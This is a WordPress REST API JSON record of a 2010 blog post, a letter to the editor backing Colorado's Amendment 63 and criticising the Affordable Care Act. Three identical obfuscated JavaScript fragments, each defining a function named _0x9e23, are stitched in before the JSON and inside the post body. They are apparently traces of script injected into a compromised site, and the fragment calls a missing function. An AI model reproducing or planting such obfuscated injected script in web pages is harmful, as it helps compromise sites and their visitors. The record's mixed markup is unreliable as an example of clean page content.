<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script>{"id":670,"date":"2010-10-15T10:51:43","date_gmt":"2010-10-15T16:51:43","guid":{"rendered":"http:\/\/www.jsharf.com\/view\/?p=670"},"modified":"2010-10-15T11:36:36","modified_gmt":"2010-10-15T17:36:36","slug":"amendment-63","status":"publish","type":"post","link":"http:\/\/www.jsharf.com\/view\/?p=670","title":{"rendered":"Support Amendment 63"},"content":{"rendered":"<p>Contrary to the headline in this week&#8217;s <em>Intermountain Jewish News<\/em>, I <strong>support<\/strong> Amendment 63.\u00a0 Here&#8217;s the full text of the letter to the editor, which Hillel Goldberg was kind enough to print:<\/p>\n<hr \/>\n<div>\n<p>Last week, the Jewish Community Relations Council   voted note to take a position on Amendment 63.\u00a0 While that was the  correct  decision, as voters, we should strongly support Amendment 63,  the Right to  Health Care Choice initiative.<\/p>\n<\/div>\n<div>\n<p>Amendment 63 does two things: it keeps the state of   Colorado from enforcing any state or federal health insurance mandate,  and it  ensures that Coloradans will always be able to spend their own  money on their  own health care, unless they voluntarily enter a program  that prevents it.\u00a0  These are protections of fundamental rights that we  have as human  beings.<\/p>\n<\/div>\n<div>\n<p>Member organizations indicated that they knew of   beneficiaries of their services who might not be able to obtain  insurance, or  had undergone serious financial hardship from medical  expense.\u00a0 Their conclusion  is that the best solution to this problem is  Obamacare.<\/p>\n<\/div>\n<div>\n<p>In fact, the law\u2019s benefits will prove illusory.\u00a0   Both organizations explicitly said that the benefits depend on the  mandate.\u00a0  Implicit is that Obamacare isn\u2019t insurance, it\u2019s a direct  transfer of  wealth.<\/p>\n<\/div>\n<div>\n<p>We can easily point to those who benefit; it\u2019s much   harder to point to those individuals who will bear the cost &#8211; young  workers and  families who are just starting out, but who will be forced  to pay for benefits  that they will not receive.\u00a0 It\u2019s a shame they have  no advocate on the  Council.<\/p>\n<\/div>\n<div>\n<p>Instead of forcing young workers and families to   transfer what should be their house, education, or retirement savings to  the  government, we should make their insurance more affordable by  removing unused,  expensive mandates that price them out of the market  in the first  place.<\/p>\n<\/div>\n<div>\n<p>It has been claimed that Obamacare will save $1   trillion.\u00a0 This double-counts $500 billion taken from Medicare,  re-spending it,  and classifying it as savings.\u00a0 It includes 6 years of  benefits for 10 years of  revenue, and assumes Congress will cease an  annual Medicare adjustment &#8211; the  &#8220;doc fix&#8221; &#8211; that everyone expects will  continue unabated.\u00a0 After 10 years, it  will add to our already  gargantuan $100 trillion of unfunded liabilities.\u00a0 No  one reading (or  writing) this piece truly comprehends that number.\u00a0 But we\u2019ll  have to  pay it.<\/p>\n<\/div>\n<div>\n<p>Instead of strengthening our system, the law\u2019s   deleterious effects are already being felt.\u00a0 Insurers are raising rates  in  anticipation of greater obligations.\u00a0 Insurers are dropping  child-only  coverage.\u00a0 Low-cost insurance policies for college students  are endangered.\u00a0  Employers are shifting costs to those who still have  jobs, who will pay with  after-tax dollars.\u00a0 It will likely cost small  insurance companies and brokers  their businesses.\u00a0 The IRS has asked to  hire 17,000 new employees to enforce the  provisions, a deadweight loss  of billions to the economy.<\/p>\n<\/div>\n<div>\n<p>While the effects of the current system on those   organization&#8217;s members are real, by focusing on those needs as an excuse  to  oppose Amendment 63, the member organizations assume that the only,  or even the  best, way to address those needs is the current  legislation.\u00a0 Instead, we should  encourage innovation and implement  incentives for health care consumers to spend  their dollars wisely,  lowering costs for all.<\/p>\n<\/div>\n<div>\n<p>There is good reason that the JCRC did not take a   position.\u00a0 It generally doesn\u2019t take on these sorts of issues,  preferring to  conserve its voice for issues of distinctive importance  to the Jewish  community.\u00a0 Supporting Obamacare would have placed the  JCRC at odds with the 60%  of Americans who want the thing repealed  outright.\u00a0 Instead of building bridges,  it\u2019s likely to isolate us,  dilute our voice, and prevent us from being effective  in the future.<\/p>\n<\/div>\n<div>\n<p>Earlier this year, voters in Missouri approved a   similar measure by a whopping 71% &#8211; 29%.\u00a0 Voters in Arizona and Oklahome  will  likely also approve similar measures in a few weeks.\u00a0 Democrats  in 5 other state  legislatures have blocked measures from their states&#8217;  ballots this fall, but  count on them to be re-introduced this coming  year.<\/p>\n<\/div>\n<div>\n<p>Coloradans should seize the chance to protect\u00a0our   own health care choices, and continue the efforts to find sensible fixes  to our  troubled health care system.<\/p>\n<\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Contrary to the headline in this week&#8217;s Intermountain Jewish News, I support Amendment 63.\u00a0 Here&#8217;s the full text of the letter to the editor, which Hillel Goldberg was kind enough to print: Last week, the Jewish Community Relations Council voted note to take a position on Amendment 63.\u00a0 While that was the correct decision, as [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[11,33,16],"tags":[],"_links":{"self":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/670"}],"collection":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=670"}],"version-history":[{"count":4,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/670\/revisions"}],"predecessor-version":[{"id":672,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=\/wp\/v2\/posts\/670\/revisions\/672"}],"wp:attachment":[{"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=670"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=670"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.jsharf.com\/view\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=670"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}